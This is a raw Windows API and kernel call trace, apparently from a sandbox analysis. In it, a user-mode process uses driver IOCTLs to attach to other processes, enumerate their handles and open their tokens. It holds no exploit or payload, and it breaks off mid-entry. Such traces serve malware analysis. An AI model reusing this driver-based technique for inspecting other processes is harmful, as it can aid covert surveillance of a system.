[0106.252] PsAcquireProcessExitSynchronization () returned 0x0 [0106.252] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff88004f095d0) [0106.252] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80023184d0, HandleInformation=0x0) returned 0x0 [0106.252] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.252] PsReleaseProcessExitSynchronization () returned 0x2 [0106.252] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x43 [0106.252] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.252] ObfDereferenceObject (Object=0xfffffa80023184d0) returned 0x1 [0106.252] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.252] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.252] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.252] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0106.252] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.252] PsAcquireProcessExitSynchronization () returned 0x0 [0106.252] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff88004f095d0) [0106.252] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0016c4d40, HandleInformation=0x0) returned 0x0 [0106.252] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.252] PsReleaseProcessExitSynchronization () returned 0x2 [0106.253] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x43 [0106.253] ObQueryNameString (in: Object=0xfffff8a0016c4d40, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.253] ObfDereferenceObject (Object=0xfffff8a0016c4d40) returned 0x4 [0106.253] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.253] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.253] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.253] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0106.253] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.253] PsAcquireProcessExitSynchronization () returned 0x0 [0106.253] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff88004f095d0) [0106.253] ObReferenceObjectByHandle (in: Handle=0x120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0106.253] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.253] PsReleaseProcessExitSynchronization () returned 0x2 [0106.253] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x43 [0106.253] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.253] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0106.253] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.253] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.253] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.253] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0106.253] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.253] PsAcquireProcessExitSynchronization () returned 0x0 [0106.253] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff88004f095d0) [0106.253] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0106.253] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.253] PsReleaseProcessExitSynchronization () returned 0x2 [0106.253] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x43 [0106.253] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.253] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0106.253] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.253] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.253] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.253] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0106.254] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.254] PsAcquireProcessExitSynchronization () returned 0x0 [0106.254] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff88004f095d0) [0106.254] ObReferenceObjectByHandle (in: Handle=0x1e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002310680, HandleInformation=0x0) returned 0x0 [0106.254] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.254] PsReleaseProcessExitSynchronization () returned 0x2 [0106.254] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x43 [0106.254] ObQueryNameString (in: Object=0xfffffa8002310680, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.254] ObfDereferenceObject (Object=0xfffffa8002310680) returned 0x1 [0106.254] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.254] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.254] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x328) returned 0xc0 [0106.254] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.254] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8001fdf060, HandleInformation=0x0) returned 0x0 [0106.254] ObOpenObjectByPointer (in: Object=0xfffffa8001fdf060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0106.254] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x3a [0106.254] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa8003571040 | out: TokenHandle=0xfffffa8003571040*=0xc8) returned 0x0 [0106.254] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0106.254] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.254] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.254] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.256] CloseHandle (hObject=0xc8) returned 1 [0106.256] CloseHandle (hObject=0xc0) returned 1 [0106.256] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.256] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0106.256] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.256] PsAcquireProcessExitSynchronization () returned 0x0 [0106.256] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff88004f095d0) [0106.256] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80103235d0, HandleInformation=0x0) returned 0x0 [0106.256] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.256] PsReleaseProcessExitSynchronization () returned 0x2 [0106.256] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x38 [0106.256] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.256] ObfDereferenceObject (Object=0xfffffa80103235d0) returned 0x1 [0106.256] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.256] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.256] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.256] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0106.256] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.256] PsAcquireProcessExitSynchronization () returned 0x0 [0106.256] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff88004f095d0) [0106.256] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003582f20, HandleInformation=0x0) returned 0x0 [0106.256] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.256] PsReleaseProcessExitSynchronization () returned 0x2 [0106.256] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x38 [0106.256] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.256] ObfDereferenceObject (Object=0xfffffa8003582f20) returned 0x1 [0106.256] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.256] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.256] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.256] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0106.256] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.256] PsAcquireProcessExitSynchronization () returned 0x0 [0106.257] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff88004f095d0) [0106.257] ObReferenceObjectByHandle (in: Handle=0xec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0106.257] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.257] PsReleaseProcessExitSynchronization () returned 0x2 [0106.257] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x38 [0106.257] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.257] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x9 [0106.257] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.257] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.257] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.257] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0106.257] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.257] PsAcquireProcessExitSynchronization () returned 0x0 [0106.257] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff88004f095d0) [0106.257] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80023c9470, HandleInformation=0x0) returned 0x0 [0106.257] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.257] PsReleaseProcessExitSynchronization () returned 0x2 [0106.257] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x38 [0106.257] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80024cf044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80024cf044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.257] ObfDereferenceObject (Object=0xfffffa80023c9470) returned 0x1 [0106.257] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.257] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.257] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.257] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0106.257] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.257] PsAcquireProcessExitSynchronization () returned 0x0 [0106.257] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff88004f095d0) [0106.257] ObReferenceObjectByHandle (in: Handle=0x114, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80021ab070, HandleInformation=0x0) returned 0x0 [0106.257] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.257] PsReleaseProcessExitSynchronization () returned 0x2 [0106.257] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x38 [0106.257] ObQueryNameString (in: Object=0xfffffa80021ab070, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.258] ObfDereferenceObject (Object=0xfffffa80021ab070) returned 0x1 [0106.258] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.258] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.258] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.258] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1c0b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0106.258] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.258] PsAcquireProcessExitSynchronization () returned 0x0 [0106.258] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff88004f095d0) [0106.258] ObReferenceObjectByHandle (in: Handle=0x130, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80036e49b0, HandleInformation=0x0) returned 0x0 [0106.258] ObfDereferenceObject (Object=0xfffffa80036e49b0) returned 0x3 [0106.258] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.258] PsReleaseProcessExitSynchronization () returned 0x2 [0106.258] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x38 [0106.258] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.258] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.258] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.258] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0106.258] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.258] PsAcquireProcessExitSynchronization () returned 0x0 [0106.258] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff88004f095d0) [0106.258] ObReferenceObjectByHandle (in: Handle=0x16c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80025c0780, HandleInformation=0x0) returned 0x0 [0106.258] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.258] PsReleaseProcessExitSynchronization () returned 0x2 [0106.258] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x38 [0106.258] ObQueryNameString (in: Object=0xfffffa80025c0780, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.258] ObfDereferenceObject (Object=0xfffffa80025c0780) returned 0x10 [0106.258] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.258] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.258] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x55c) returned 0xc0 [0106.259] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.259] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8001ff4060, HandleInformation=0x0) returned 0x0 [0106.259] ObOpenObjectByPointer (in: Object=0xfffffa8001ff4060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0106.259] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x20 [0106.259] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa8003571040 | out: TokenHandle=0xfffffa8003571040*=0xc8) returned 0x0 [0106.259] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0106.259] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.259] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.259] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.260] CloseHandle (hObject=0xc8) returned 1 [0106.260] CloseHandle (hObject=0xc0) returned 1 [0106.260] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.260] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0106.260] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.260] PsAcquireProcessExitSynchronization () returned 0x0 [0106.260] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff88004f095d0) [0106.260] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800355c700, HandleInformation=0x0) returned 0x0 [0106.260] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.260] PsReleaseProcessExitSynchronization () returned 0x2 [0106.260] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0106.261] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.261] ObfDereferenceObject (Object=0xfffffa800355c700) returned 0x1 [0106.261] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.261] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.261] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.261] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0106.261] 